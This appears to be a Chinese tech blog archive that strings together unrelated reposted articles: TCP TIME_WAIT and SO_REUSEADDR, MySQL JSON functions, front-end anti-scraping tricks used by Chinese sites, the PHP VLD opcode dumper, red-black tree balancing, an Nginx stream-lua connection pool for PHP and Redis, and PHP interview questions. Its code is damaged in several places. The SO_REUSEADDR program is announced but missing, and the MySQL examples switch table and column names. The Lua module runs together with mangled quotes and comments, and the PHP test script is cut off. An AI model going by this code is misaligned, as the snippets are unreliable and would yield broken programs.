TIME_WAIT:我方主动调用close()断开连接,收到对方确认后状态变为TIME_WAIT。TCP协议规定TIME_WAIT状态会一直持续2MSL(即两倍的分 段最大生存期),以此来确保旧的连接状态不会对新连接产生影响。处于TIME_WAIT状态的连接占用的资源不会被内核释放,所以作为服务器,在可能的情 况下,尽量不要主动断开连接,以减少TIME_WAIT状态造成的资源浪费。目前有一种避免TIME_WAIT资源浪费的方法,就是关闭socket的LINGER选项。但这种做法是TCP协议不推荐使用的,在某些情况下这个操作可能会带来错误。

3,当我们用:setsockopt和SO_REUSEADDR时:充分的减少了等待时间,在一次的通讯完毕,可以直接再次的运行这个程序,这样就不会出现上面如:bind:address already in use

程序如下(在bind之前调用,提高端口的重用行):

运行结果:

可以看到我们可以直接运行,无压力,但是当我们用:netstat -an|grep TIME_WAIT时,还是显示TIME_WAIT,但这个并不影响我们的结果

2

MySQL JSON数据类型操作

概述

mysql自5.7.8版本开始,就支持了json结构的数据存储和查询,这表明了mysql也在不断的学习和增加nosql数据库的有点。但mysql毕竟是关系型数据库,在处理json这种非结构化的数据时,还是比较别扭的。

创建一个JSON字段的表

首先先创建一个表,这个表包含一个json格式的字段:

CREATE TABLE table_name (
    id INT NOT NULL AUTO_INCREMENT, 
    json_col JSON,
    PRIMARY KEY(id)
);

上面的语句,主要注意json_col这个字段,指定的数据类型是JSON。

插入一条简单的JSON数据

INSERT INTO
    table_name (json_col) 
VALUES
    ('{"City": "Galle", "Description": "Best damn city in the world"}');

上面这个SQL语句,主要注意VALUES后面的部分,由于json格式的数据里,需要有双引号来标识字符串,所以,VALUES后面的内容需要用单引号包裹。

插入一条复杂的JSON数据

INSERT INTO table(col) 
VALUES('{"opening":"Sicilian","variations":["pelikan","dragon","najdorf"]}');

这地方,我们插入了一个json数组。主要还是注意单引号和双引号的问题。

修改JSON数据

之前的例子中,我们插入了几条JSON数据,但是如果我们想修改JSON数据里的某个内容,怎么实现了?比如我们向 variations 数组里增加一个元素,可以这样:

UPDATE myjson SET dict=JSON_ARRAY_APPEND(dict,'$.variations','scheveningen') WHERE id = 2;

这个SQL语句中,$符合代表JSON字段,通过.号索引到variations字段,然后通过JSON_ARRAY_APPEND函数增加一个元素。现在我们执行查询语句:

SELECT * FROM myjson

得到的结果是:

+----+-----------------------------------------------------------------------------------------+
| id | dict                                                                                    |
+---+-----------------------------------------------------------------------------------------+
| 2  | {"opening": "Sicilian", "variations": ["pelikan", "dragon", "najdorf", "scheveningen"]} |
+----+-----------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

关于MySQL中,JSON数据的获取方法,参照官方链接JSON Path Syntax

创建索引

MySQL的JSON格式数据不能直接创建索引,但是可以变通一下,把要搜索的数据单独拎出来,单独一个数据列,然后在这个字段上键一个索引。下面是官方的例子:

mysql> CREATE TABLE jemp (
    ->     c JSON,
    ->     g INT GENERATED ALWAYS AS (c->"$.id"),
    ->     INDEX i (g)
    -> );
Query OK, 0 rows affected (0.28 sec)

mysql> INSERT INTO jemp (c) VALUES
     >   ('{"id": "1", "name": "Fred"}'), ('{"id": "2", "name": "Wilma"}'),
     >   ('{"id": "3", "name": "Barney"}'), ('{"id": "4", "name": "Betty"}');
Query OK, 4 rows affected (0.04 sec)
Records: 4  Duplicates: 0  Warnings: 0

mysql> SELECT c->>"$.name" AS name
     >     FROM jemp WHERE g > 2;
+--------+
| name   |
+--------+
| Barney |
| Betty  |
+--------+
2 rows in set (0.00 sec)

mysql> EXPLAIN SELECT c->>"$.name" AS name
     >    FROM jemp WHERE g > 2\G
*************************** 1. row ***************************
           id: 1
  select_type: SIMPLE
        table: jemp
   partitions: NULL
         type: range
possible_keys: i
          key: i
      key_len: 5
          ref: NULL
         rows: 2
     filtered: 100.00
        Extra: Using where
1 row in set, 1 warning (0.00 sec)

mysql> SHOW WARNINGS\G
*************************** 1. row ***************************
  Level: Note
   Code: 1003
Message: /* select#1 */ select json_unquote(json_extract(`test`.`jemp`.`c`,'$.name'))
AS `name` from `test`.`jemp` where (`test`.`jemp`.`g` > 2)
1 row in set (0.00 sec)

这个例子很简单,就是把JSON字段里的id字段,单独拎出来成字段g,然后在字段g上做索引,查询条件也是在字段g上。

字符串转JSON格式

把json格式的字符串转换成MySQL的JSON类型:

SELECT CAST('[1,2,3]' as JSON) ;
SELECT CAST('{"opening":"Sicilian","variations":["pelikan","dragon","najdorf"]}' as JSON);

所有MYSQL JSON函数

Name Description
JSON_APPEND() Append data to JSON document
JSON_ARRAY() Create JSON array
JSON_ARRAY_APPEND() Append data to JSON document
JSON_ARRAY_INSERT() Insert into JSON array-> Return value from JSON column after evaluating path; equivalent to JSON_EXTRACT().
JSON_CONTAINS() Whether JSON document contains specific object at path
JSON_CONTAINS_PATH() Whether JSON document contains any data at path
JSON_DEPTH() Maximum depth of JSON document
JSON_EXTRACT() Return data from JSON document->> Return value from JSON column after evaluating path and unquoting the result; equivalent to JSON_UNQUOTE(JSON_EXTRACT()).
JSON_INSERT() Insert data into JSON document
JSON_KEYS() Array of keys from JSON document
JSON_LENGTH() Number of elements in JSON document
JSON_MERGE() Merge JSON documents, preserving duplicate keys. Deprecated synonym for JSON_MERGE_PRESERVE()
JSON_MERGE_PRESERVE() Merge JSON documents, preserving duplicate keys
JSON_OBJECT() Create JSON object
JSON_QUOTE() Quote JSON document
JSON_REMOVE() Remove data from JSON document
JSON_REPLACE() Replace values in JSON document
JSON_SEARCH() Path to value within JSON document
JSON_SET() Insert data into JSON document
JSON_TYPE() Type of JSON value
JSON_UNQUOTE() Unquote JSON value
JSON_VALID() Whether JSON value is valid

[抓]反击爬虫,前端工程师的脑洞可以有多大?

原文链接:https://juejin.im/entry/59deb55951882578c2084a63

1. 前言

对于一张网页,我们往往希望它是结构良好,内容清晰的,这样搜索引擎才能准确地认知它。
而反过来,又有一些情景,我们不希望内容能被轻易获取,比方说电商网站的交易额,教育网站的题目等。因为这些内容,往往是一个产品的生命线,必须做到有效地保护。这就是爬虫与反爬虫这一话题的由来。

2. 常见反爬虫策略

但是世界上没有一个网站,能做到完美地反爬虫。

如果页面希望能在用户面前正常展示,同时又不给爬虫机会,就必须要做到识别真人与机器人。因此工程师们做了各种尝试,这些策略大多采用于后端,也是目前比较常规单有效的手段,比如:

  • User-Agent + Referer检测
  • 账号及Cookie验证
  • 验证码
  • IP限制频次

而爬虫是可以无限逼近于真人的,比如:

  • chrome headless或phantomjs来模拟浏览器环境
  • tesseract识别验证码
  • 代理IP淘宝就能买到

所以我们说,100%的反爬虫策略?不存在的。
更多的是体力活,是个难易程度的问题。

不过作为前端工程师,我们可以增加一下游戏难度,设计出一些很(sang)有(xin)意(bing)思(kuang)的反爬虫策略。

3. 前端与反爬虫

3.1 font-face拼凑式

例子:猫眼电影

猫眼电影里,对于票房数据,展示的并不是纯粹的数字。
页面使用了font-face定义了字符集,并通过unicode去映射展示。也就是说,除去图像识别,必须同时爬取字符集,才能识别出数字。

并且,每次刷新页面,字符集的url都是有变化的,无疑更大难度地增加了爬取成本。

3.2 background拼凑式

例子:美团

与font的策略类似,美团里用到的是background拼凑。数字其实是图片,根据不同的background偏移,显示出不同的字符。

并且不同页面,图片的字符排序也是有区别的。不过理论上只需生成0-9与小数点,为何有重复字符就不是很懂。

页面A:

页面B:

3.3 字符穿插式

例子:微信公众号文章

某些微信公众号的文章里,穿插了各种迷之字符,并且通过样式把这些字符隐藏掉。
这种方式虽然令人震惊…但其实没有太大的识别与过滤难度,甚至可以做得更好,不过也算是一种脑洞吧。

对了,我的手机流量可以找谁报销吗?

3.4 伪元素隐藏式

例子:汽车之家

汽车之家里,把关键的厂商信息,做到了伪元素的content里。
这也是一种思路:爬取网页,必须得解析css,需要拿到伪元素的content,这就提升了爬虫的难度。

3.5 元素定位覆盖式

例子:去哪儿

还有热爱数学的去哪儿,对于一个4位数字的机票价格,先用四个i标签渲染,再用两个b标签去绝对定位偏移量,覆盖故意展示错误的i标签,最后在视觉上形成正确的价格…

这说明爬虫会解析css还不行,还得会做数学题。

3.6 iframe异步加载式

例子:网易云音乐

网易云音乐页面一打开,html源码里几乎只有一个iframe,并且它的src是空白的:about:blank。接着js开始运行,把整个页面的框架异步塞到了iframe里面…

不过这个方式带来的难度并不大,只是在异步与iframe处理上绕了个弯(或者有其他原因,不完全是基于反爬虫考虑),无论你是用selenium还是phantom,都有API可以拿到iframe里面的content信息。

3.7 字符分割式

例子:全网代理IP

在一些展示代理IP信息的页面,对于IP的保护也是大费周折。

他们会先把IP的数字与符号分割成dom节点,再在中间插入迷惑人的数字,如果爬虫不知道这个策略,还会以为自己成功拿到了数值;不过如果爬虫注意到,就很好解决了。

3.8 字符集替换式

例子:去哪儿移动侧

同样会欺骗爬虫的还有去哪儿的移动版。

html里明明写的3211,视觉上展示的却是1233。原来他们重新定义了字符集,3与1的顺序刚好调换得来的结果…

VLD扩展使用指南

原文链接:http://www.phppan.com/2011/05/vld-extension/

VLD(Vulcan Logic Dumper)是一个在Zend引擎中,以挂钩的方式实现的用于输出PHP脚本生成的中间代码(执行单元)的扩展。 它可以在一定程序上查看Zend引擎内部的一些实现原理,是我们学习PHP源码的必备良器。它的作者是Derick Rethans, 除了VLD扩展,我们常用的XDebug扩展的也有该牛人的身影。

VLD扩展是一个开源的项目,在这里可以下载到最新的版本,虽然最新版本的更新也是一年前的事了。 作者没有提供编译好的扩展,Win下使用VC6.0编译生成dll文件,可以看我之前写过的一篇文章(使用VC6.0生成VLD扩展)。 *nix系统下直接configue,make,make install生成。如果遇到问题,请自行Google之。

看一个简单的例子,假如存在t.php文件,其内容如下:

$a = 10;
echo $a;

在命令行下使用VLD扩展显示信息。

php -dvld.active=1 t.php

-dvld.active=1表示激活VLD扩展,使用VLD扩展输出中间代码,此命令在CMD中输出信息为:

Branch analysis from position: 0
Return found
filename:       D:\work\xampp\xampp\php\t.php
function name:  (null)
number of ops:  5
compiled vars:  !0 = $a
line     # *  op                           fetch          ext  return  operands
---------------------------------------------------------------------------------
   2     0  >   EXT_STMT
         1      ASSIGN                                                   !0, 10
   3     2      EXT_STMT
         3      ECHO                                                     !0
   4     4    > RETURN                                                   1

branch: #  0; line:     2-    4; sop:     0; eop:     4
path #1: 0,
10

如上为VLD输出的PHP代码生成的中间代码的信息,说明如下:

  • Branch analysis from position 这条信息多在分析数组时使用。
  • Return found 是否返回,这个基本上有都有。
  • filename 分析的文件名
  • function name 函数名,针对每个函数VLD都会生成一段如上的独立的信息,这里显示当前函数的名称
  • number of ops 生成的操作数
  • compiled vars 编译期间的变量,这些变量是在PHP5后添加的,它是一个缓存优化。这样的变量在PHP源码中以IS_CV标记。
  • op list 生成的中间代码的变量列表

使用-dvld.active参数输出的是VLD默认设置,如果想看更加详细的内容。可以使用-dvld.verbosity参数。

php -dvld.active=1 -dvld.verbosity=3 t.php

-dvld.verbosity=3或更大的值的效果都是一样的,它们是VLD在当前版本可以显示的最详细的信息了,包括各个中间代码的操作数等。显示结果如下:

Finding entry points
Branch analysis from position: 0
Add 0
Add 1
Add 2
Add 3
Add 4
Return found
filename:       D:\work\xampp\xampp\php\t.php
function name:  (null)
number of ops:  5
compiled vars:  !0 = $a
line     # *  op                           fetch          ext  return  operands
--------------------------------------------------------------------------------
-
   2     0  >   EXT_STMT                                          RES[  IS_UNUSED  ]         OP1[  IS_UNUSED  ] OP2[  IS_UNUSED  ]
         1      ASSIGN                                                    OP1[IS_CV !0 ] OP2[ ,  IS_CONST (0) 10 ]
   3     2      EXT_STMT                                          RES[  IS_UNUSED  ]         OP1[  IS_UNUSED  ] OP2[  IS_UNUSED  ]
         3      ECHO                                                      OP1[IS_CV !0 ]
         4    > RETURN                                                    OP1[IS_CONST (0) 1 ]

branch: #  0; line:     2-    3; sop:     0; eop:     4
path #1: 0,
10

以上的信息与没有加-dvld.verbosity=3的输出相比,多了Add 字段,还有中间代码的操作数的类型,如IS_CV,IS_CONST等。 PHP代码中的$a = 10; 其中10的类型为IS_CONST, $a作为一个编译期间的一个缓存变量存在,其类型为IS_CV。

如果我们只是想要看输出的中间代码,并不想执行这段PHP代码,可以使用-dvld.execute=0来禁用代码的执行。

php -dvld.active=1 -dvld.execute=0 t.php

运行这个命令,你会发现这与最开始的输出有一点点不同,它没有输出10。 除了直接在屏幕上输出以外,VLD扩展还支持输出.dot文件,如下的命令:

php -dvld.active=1 -dvld.save_dir='D:\tmp' -dvld.save_paths=1 -dvld.dump_paths=1 t.php

以上的命令的意思是将生成的中间代码的一些信息输出在D:/tmp/paths.dot文件中。 -dvld.save_dir指定文件输出的路径,-dvld.save_paths控制是否输出文件,-dvld.dump_paths控制输出的内容,现在只有0和1两种情况。 输出的文件名已经在程序中硬编码为paths.dot。这三个参数是相互依赖的关系,一般都会同时出现。

总结一下,VLD扩展的参数列表:

  • -dvld.active 是否在执行PHP时激活VLD挂钩,默认为0,表示禁用。可以使用-dvld.active=1启用。
  • -dvld.skip_prepend 是否跳过php.ini配置文件中auto_prepend_file指定的文件, 默认为0,即不跳过包含的文件,显示这些包含的文件中的代码所生成的中间代码。此参数生效有一个前提条件:-dvld.execute=0
  • -dvld.skip_append 是否跳过php.ini配置文件中auto_append_file指定的文件, 默认为0,即不跳过包含的文件,显示这些包含的文件中的代码所生成的中间代码。此参数生效有一个前提条件:-dvld.execute=0
  • -dvld.execute 是否执行这段PHP脚本,默认值为1,表示执行。可以使用-dvld.execute=0,表示只显示中间代码,不执行生成的中间代码。
  • -dvld.format 是否以自定义的格式显示,默认为0,表示否。可以使用-dvld.format=1,表示以自己定义的格式显示。这里自定义的格式输出是以-dvld.col_sep指定的参数间隔
  • -dvld.col_sep 在-dvld.format参数启用时此函数才会有效,默认为 “\t”。
  • -dvld.verbosity 是否显示更详细的信息,默认为1,其值可以为0,1,2,3 其实比0小的也可以,只是效果和0一样,比如0.1之类,但是负数除外,负数和效果和3的效果一样 比3大的值也是可以的,只是效果和3一样。
  • -dvld.save_dir 指定文件输出的路径,默认路径为/tmp。
  • -dvld.save_paths 控制是否输出文件,默认为0,表示不输出文件
  • -dvld.dump_paths 控制输出的内容,现在只有0和1两种情况,默认为1,输出内容

[转]红黑树回顾

原文链接:http://liuliqiang.info/post/red-black-tree/
在我学习数据结构和算法一段时间之后,就被灌输了二分查找的性能非常好的观念,确实,这也没什么毛病,毕竟 O(logn) 的复杂度确实已经很好了。那么,习惯得,我也将二叉树认为是查找元素的不二选择,好像这在通常情况下问题也不大。

但是,当理论遇到现实的时候,事情就变得有点糟糕了,例如二叉树的理想状态应该是平衡二叉树,也就是说对于每一个分支,左右子树的高度差最多就是一个,这样可以保证查找一个元素的时间复杂度是 O(logn)。事实上,这很难做到,我是说在不修正的情况下,要想让一棵二叉树随时保持平衡,那么我们就需要在增加或删除元素的时候做平衡处理,而这处理的代价经常都会是 O(logn)。

为了在尽可能保持二叉树的优点的同时,又尽可能解决缺点,有很多类似的树型结构被发现,其中有 2-3树/AVL 树/红黑树/B树/B+树等等,每种都有其独特并且优异的地方,而在这篇文章中,我就以红黑树为例,温习一下红黑树的知识。

红黑树与AVL树的比较:
AVL是严格平衡树,因此在增加或者删除节点的时候,根据不同情况,旋转的次数比红黑树要多;
红黑是用非严格的平衡来换取增删节点时候旋转次数的降低;
所以简单说,如果你的应用中,搜索的次数远远大于插入和删除,那么选择AVL,如果搜索,插入删除次数几乎差不多,应该选择RB。
红黑树的特点
一棵二叉查找树如果满足以下的红黑性质,那么这就是一棵红黑树:

每个节点要么是红的,要么是黑的
根节点是黑的
每个叶节点(NULL)是黑的
如果一个节点是红的,那么它的两个儿子都是黑的
对于每个节点,从该节点到其子孙节点的所有路径上包含相同数目的黑节点
对第 4 个点稍作解释,其实可以说成是没有父子节点都是红的情况,但是,却可以存在父子节点都是黑的情况。

对于一棵红黑树来说,那么它一定满足这些性质,那么只有两种情况会破坏这些性质,那就是插入 和 删除,所以我们需要做一些特别的操作来使 红黑树 能够继续满足条件。

插入节点
往一棵红黑树中插入一个节点时,我们要遵循一些规则:

插入的节点最开始一定是设置成红的
插入的节点的位置一开始一定是叶子节点的位置
只有当父节点的颜色也是红的时候,我们才需要考虑调整
这就是一棵简单的红黑树:

这里将元素4 插入到原来的红黑树中,所以,这里也就破坏红黑性质了,这也是唯一一种需要转换的情况,那就是父子节点都是红的。对于父子节点都是红的,我们需要考虑两种情况:

新的节点在父节点的左树
新的节点在父节点的右树
但是,处理这个问题,有时候很简单得完成,那就是第三种情况:

父节点的兄弟节点也是红的
这个时候我们归纳一下,插入一个新元素的时候,红黑特性被破坏,我们有三种情况需要处理:

父节点的兄弟节点也是红的
新的节点在父节点的左子树
新的节点在父节点的右子树
下面我们就对这三种情况一一解决。

父节点的兄弟节点也是红的
对于这种情况,我们上面的示例就恰恰是这样的:

这个时候因为 5 和 8 都是红的,所以我们可以这么操作:

将 5 和 8 变为黑,然后将 7 变成红
即可,这样我们就让新插入的节点不会破坏 红黑性质 了,因为对于节点 7 来说,我们可以保证它到子节点中的黑节点个数不变,这样的话,整棵树的黑节点路径原则也不会被破坏。

变换之后就是:

但是,可以发现,父节点被变换颜色之后又和它的父节点产生了冲突,这个时候就不能通过变换兄弟节点的颜色来解决了。但是,我们可以发现,现在 2 和 7 的情况就是我们的另外一种情况:新的节点在父节点的右子树

新的节点在父节点的右子树
对于父节点的兄弟不是红色的,并且新的节点在父节点的左树的情况:

这就是刚才解决新插入节点之后的新情况,对节点 7 和节点 2 产生了冲突,这个时候我们需要解决。这里需要引入一个新的概念叫做旋转,旋转包含左旋和右旋,其实他们是对称操作:

所以这里需要利用 左旋 的操作,根据上图的指引,我们进行以节点 2 为根进行 左旋 后的结果是:

这个时候又遇到情况了,那就是节点 2 和节点 7 又冲突了并且就是最后一种情况:新的节点在父节点的左子树

新的节点在父节点的左子树
当遇到这种情况的时候,我们就要进行 右旋 操作,右旋操作有个前提就是

将父节点设置为 Black
将父节点的父节点设置为 Red
右旋 父节点的父节点
右旋 之后的结果应该是:

这个时候可以发现这棵二叉查找树 已经满足了所有的 红黑性质,也就是说这又是一棵红黑树,也就是将插入操作调整完毕了。

插入小结
可以看到,这个简单的操作就涉及到了 3 种类型,其实过程中可能不止做一种类型的转换,还会涉及到 2 种或者 3 种类型的转换。

父节点的兄弟节点也是红的
将父节点和兄弟节点都改成黑的
将父节点的父节点改成红的
新的节点在父节点的右子树
左旋
新的节点在父节点的右子树
将父节点设置为 Black
将父节点的父节点设置为 Red
右旋父节点的父节点
删除节点
红黑树中的删除和普通二叉查找树的删除差不多,也就多了一项红黑节点调整。所以假设我们先不考虑红黑调整,那么删除一个节点就是:

这就是一个普通的删除二叉查找树的步骤,其中 tree_successor 就是搜索下一个用来替换当前节点的值,这里需要说明的是这个被用来替换的值肯定是叶子节点,或者说只有右子树的节点,没有其他情况。然后我们所谓的删除就是将两个值调换,将替换的值删掉。

现在是时候考虑一下红黑平衡了,考虑一下,什么时候需要红黑平衡?根据这里的代码,我们可以发现真正被删除的是 y,所以,有两种情况需要考虑:

y 是红色的,那么删除红色节点之后,并不会影响后续节点路径中黑色节点的个数,也不会导致两个红色节点成为父子节点,那么也就是说是安全的,无需红黑平衡了。
y 是黑色的,那么这个时候被删除了,和 y 有关的路径就少了一个黑色节点,那么我们可以考虑将这个黑色节点下移,转给 y 的儿子 x,也就是说 x 必须承担一个黑色。
这个时候又需要考虑两种情况了,对于 x 来说,也有两种可能,那就是:

x 是红色的,那么我们直接将 x 转变为黑色,那么整个路径上黑色节点的个数也平衡了,而且也不会有两个红色成为父子节点,就成功了。
x 是黑色的,那么显然不能再提供一个黑色,那么只能继续迁移,需要记住,此时 x 承担了 2 个黑色的责任,需要找人承担一个
对于 x 需要承担 2 个黑色的情况,我们有几种情况要考虑:

x 的兄弟 w 是红色的

那么对于这种情况,我们可以考虑进行一个左旋,然后再改变一下兄弟节点的颜色:

这里考虑将 节点D 进行一个左旋,那么旋转之后的结果就是:

我们将 B/D 的颜色进行一个转换,然后我们需要注意的是 x 对应的节点也还必须承担多一个黑色,然而这个 x 已经是黑色了,所以还得转接,但是,很明显,兄弟节点不是红色了,不能旋转了,那我们就需要考虑另外一种情况了。

x 的兄弟 w 是黑色的,而且 w 的两个孩子都是黑色的

因为 x 不能承担多一个黑色,所以我们考虑 w 的情况,首先考虑 w 有两个孩子,并且两个孩子都是黑色的,那么就是这样子的:

rb-case2-01.png

对于这种情况,我们可以将 节点D 的颜色变为红色,这样的话可以发现左右都差一个黑色,那么我们就将这差的一个黑色让 父节点c 承担,虽然图示中 父节点c 的颜色是红色的,但是事实上红黑都有可能:

如果是红色,那么直接变成黑色就大功告成了
如果是黑色,那么就需要多贡献一个黑色,如果不能贡献,那只能继续根据各种情况递归下去

所以变换之后应该是这样的:

rb-case2-02.png

x 的兄弟 w 是黑色的,而且 w 的左子节点是红色,右子节点是黑色

这种情况我们可以用图示来表示:

rb-case3-01.png

对于这种情况,我们不能一次性迁移 节点x 的状态,那只能退而求其次,找出一个中间状态,构建这个中间状态:

rb-case3-02.png

这里讲 节点C 的位置提升为父节点,然后将原来的 父节点D 将为 节点C 的子节点,并且改变为红色,然后我们再讨论这种情况。

x 的兄弟 w 是黑色的,并且 w 的右子节点是红色

这里我们可以发现我们只关注 节点w 的右子节点,并且为红色即可,不需要关注左子节点,这个时候我们可以这样表示这个图:

rb-case4-01.png

这时,我们可以将 节点D 左旋,然后就得到了这种情况:

rb-case4-02.png

这里有几点地方需要指出来:

原来 节点w 的右节点E 变成了 Black
原来 节点D 的颜色变成了 节点B 的颜色
父节点B 的颜色一定变成 Black

这时,我们再看这张图,会发现 x 不见了,也就是说没有任何节点需要多提供一个黑色,也就是说我们这棵红黑树平衡了。

以上就是我们需要考虑的删除一个节点之后红黑不平衡的问题了,其实核心要点就是记住 变量x 就是表示这个节点需要多提供一个黑色,所以当 x 是 Root 或者是红色的时候,那么我们就成功了,因为:

如果 root 需要提供多一个黑色,那么其实完全就不用多提供了,因为 root 无父节点需要平衡。
如果是红色节点需要提供多一个黑色,那么尽管把它变成黑色好了,因为把它变成黑色不会影响我们的红黑特性,最可能影响到的一条特性就是任何路径上的黑色节点数一样,但是因为包含这个节点的路径都少了一个,所以尽管变成黑色就可以了。
小结
红黑树的目的就是尽可能保持二叉搜索树的平衡,保证二叉搜索树的搜索速度,同时又要提高插入元素的速度,所以红黑树要设立红黑特性,保证在这两方面之间得到权衡。和 AVL 树相比:

如果你的插入和搜索频率差不多,那么就用 红黑树
如果插入远远少于查询,那么用 AVL树 划算
Reference
算法导论
教你透彻了解红黑树
二叉树可视化工具

[转]史上最LOW的PHP连接池解决方案

原文链接:https://huoding.com/2017/09/10/635?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io
大多数 PHP 程序员从来没有使用过连接池,主要原因是按照 PHP 本身的运行机制并不容易实现连接池,于是乎 PHP 程序员一方面不得不承受其它程序员的冷嘲热讽,另一方面还得面对频繁短链接导致的性能低下和 TIME_WAIT 等问题。

说到这,我猜一定会有 PHP 程序员跳出来说可以使用长连接啊,效果是一样一样的。比如以 PHP 中最流行的 Redis 模块 PhpRedis 为例,便有 pconnect 方法可用,通过它可以复用之前创建的连接,效果和使用连接池差不多。可惜实际情况是 PHP 中各个模块的长连接方法并不好用,基本上是鸡肋一样的存在,原因如下:

首先,按照 PHP 的运行机制,长连接在建立之后只能寄居在工作进程之上,也就是说有多少个工作进程,就有多少个长连接,打个比方,我们有 10 台 PHP 服务器,每台启动 1000 个 PHP-FPM 工作进程,它们连接同一个 Redis 实例,那么此 Redis 实例上最多将存在 10000 个长连接,数量完全失控了!
其次,PHP 的长连接本身并不健壮。一旦网络异常导致长连接失效,没有办法自动关闭重新连接,以至于后续请求全部失败,此时除了重启服务别无它法!
问题分析到这里似乎进入了死胡同:按常规做法是没法实现 PHP 连接池了。

别急着,如果问题比较棘手,我们不妨绕着走。让我们把目光聚焦到 Nginx 的身上,其 stream 模块实现了 TCP/UDP 服务的负载均衡,同时借助 stream-lua 模块,我们就可以实现可编程的 stream 服务,也就是用 Nginx 实现自定义的 TCP/UDP 服务!当然你可以自己从头写 TCP/UDP 服务,不过站在 Nginx 肩膀上无疑是更省时省力的选择。

不过 Nginx 和 PHP 连接池有什么关系?且听我慢慢道来:通常大部分 PHP 是搭配 Nginx 来使用的,而且 PHP 和 Nginx 多半是在同一台服务器上。有了这个客观条件,我们就可以利用 Nginx 来实现一个连接池,在 Nginx 上完成连接 Redis 等服务的工作,然后 PHP 通过本地的 Unix Domain Socket 来连接 Nginx,如此一来既规避了短链接的种种弊端,也享受到了连接池带来的种种好处。

PHP Pool
PHP Pool

下面以 Redis 为例来讲解一下实现过程,事先最好对 Redis 交互协议有一定的了解,推荐阅读官方文档或中文翻译,具体实现可以参考 lua-resty-redis 库,虽然它只是一个客户端库,但是 Redis 客户端请求和服务端响应实际上格式是差不多通用的。

首先在 nginx.conf 文件中加入如下配置:

stream {
lua_code_cache on;
lua_socket_log_errors on;
lua_check_client_abort on;
lua_package_path “/path/to/?.lua;;”;

server {
listen unix:/tmp/redis.sock;

content_by_lua_block {
local redis = require “redis”
pool = redis:new({ ip = “…”, port = “…” })
pool:run()
}
}
}
然后在 lua_package_path 配置的路径上创建 redis.lua 文件:

local redis = require “resty.redis”

local assert = assert
local print = print
local rawget = rawget
local setmetatable = setmetatable
local tonumber = tonumber
local byte = string.byte
local sub = string.sub

local function parse(sock)
local line, err = sock:receive()

if not line then
if err == “timeout” then
sock:close()
end

return nil, err
end

local result = line .. “\r\n”
local prefix = byte(line)

if prefix == 42 then — char ‘*’
local num = tonumber(sub(line, 2))

if num <= 0 then return result end for i = 1, num do local res, err = parse(sock) if res == nil then return nil, err end result = result .. res end elseif prefix == 36 then -- char '$' local size = tonumber(sub(line, 2)) if size <= 0 then return result end local res, err = sock:receive(size) if not res then return nil, err end local crlf, err = sock:receive(2) if not crlf then return nil, err end result = result .. res .. crlf end return result end local function exit(err) ngx.log(ngx.NOTICE, err) return ngx.exit(ngx.ERROR) end local _M = {} _M._VERSION = "1.0" function _M.new(self, config) local t = { _ip = config.ip or "127.0.0.1", _port = config.port or 6379, _timeout = config.timeout or 100, _size = config.size or 10, _auth = config.auth, } return setmetatable(t, { __index = _M }) end function _M.run(self) local ip = self._ip local port = self._port local timeout = self._timeout local size = self._size local auth = self._auth local downstream_sock = assert(ngx.req.socket(true)) while true do local res, err = parse(downstream_sock) if not res then return exit(err) end local red = redis:new() local ok, err = red:connect(ip, port) if not ok then return exit(err) end if auth then local times = assert(red:get_reused_times()) if times == 0 then local ok, err = red:auth(auth) if not ok then return exit(err) end end end local upstream_sock = rawget(red, "_sock") upstream_sock:send(res) local res, err = parse(upstream_sock) if not res then return exit(err) end red:set_keepalive(timeout, size) downstream_sock:send(res) end end return _M 见证奇迹的时候到了,测试的 PHP 脚本内容如下: connect(‘/tmp/redis.sock’);
// $redis->connect(‘ip’, ‘port’);

$redis->set(“foo”, bar);
$foo = $redis->get(“foo”);
var_dump($foo);
}

?>
可惜测试的时候,不管是通过 /tmp/redis.sock 连接,还是通过 ip 和 port 连接,结果效率都差不多,完全不符合我们开始的分析,挂上 strace 看看发生了什么:

shell> strace -f …
[pid …] recvfrom(…, “QUIT\r\n”, 4096, 0, NULL, NULL) = 6
[pid …] sendto(…, “QUIT\r\n”, 6, 0, NULL, 0) = 6
原来是因为 PhpRedis 发送了 QUIT,结果我们连接池里的连接都被关闭了。不过这个问题好解决,不要使用 connect,换成 pconnect 即可:

pconnect(‘/tmp/redis.sock’);
?>
再次测试,结果发现在本例中,使用连接池前后,效率提升了 50% 左右。注意,此结论仅仅保证在我的测试里有效,如果你测试的话,视情况可能有差异。

说到这里,没搞清楚原委的读者可能会质疑:你不是说 PHP 里的长连接是鸡肋么,怎么自己在测试里又用了长连接!本文使用 pconnect,只是为了屏蔽 QUIT 请求,而且仅仅在本地使用,没有数量和网络异常的隐忧,此时完全没有问题,并且实际上我们也可以在 redis.lua 里过滤 QUIT 请求,篇幅所限,我就不做这个实现了。

鲁迅说:真的猛士,敢于直面惨淡的人生,敢于正视淋漓的鲜血。从这个角度看,本文的做法实在是 LOW,不过换个角度看,二战中德军对付马其诺防线也干过类似的勾当,所以管它 LOW 不 LOW,能解决问题的方法就是好方法。

[转]中高级的一些PHP面试题

原文链接:https://zhuanlan.zhihu.com/p/27493130
公司1:

1、mysql_real_escape_string mysql_escape_string有什么本质的区别,有什么用处,为什么被弃用?

答:mysql_real_escape_string需要预先连接数据库,并可在第二个参数传入数据库连接(不填则使用上一个连接)

两者都是对数据库插入数据进行转义,但是mysql_real_escape_string转义时,会考虑数据库连接的字符集。

它们的用处都是用来能让数据正常插入到数据库中,并防止sql注入,但是并不能做到100%防止sql注入。

再问:为什么不能100%防止?

答;因为客户端编码以及服务器端编码不同,可能产生注入问题,但是其实这种场景不多见。

继续答:被弃用的原因是官方不再建议使用mysql_xx的数据库操作方式,建议使用pdo和mysqli,因为不管从性能跟安全来看,mysqli都比mysql要好。

衍生出来的问题是mysqli的连接复用(持久化)问题,这一块我并没有答好。

2、什么是内存泄漏,js内存泄漏是怎么产生的?

答:内存泄漏是因为一块被分配内存既不能被使用,也不能被回收,直到浏览器进程结束。

产生泄漏的原因是闭包维持函数内局部变量,不能被释放,尤其是使用闭包并存在外部引用还setInterval的时候危害很大。

备注:我觉得这块回答并不好,因为肯定不是闭包的原因。

我查了一下资料,从比较浅的方位来再回答一下这个问题:

产生泄漏的原因有好几种:

(1) 页面元素被删除,但是绑定在该元素上的事件未被删除;

(2) 闭包维持函数内局部变量(外部不可控),使其得不到释放;

(3) 意外的全局变量;

(4) 引用被删除,但是引用内的引用,还存在内存中。

从上述原因上看,内存泄漏产生的根本原因是引用无法正确回收,值类型并不能引发内存泄漏。

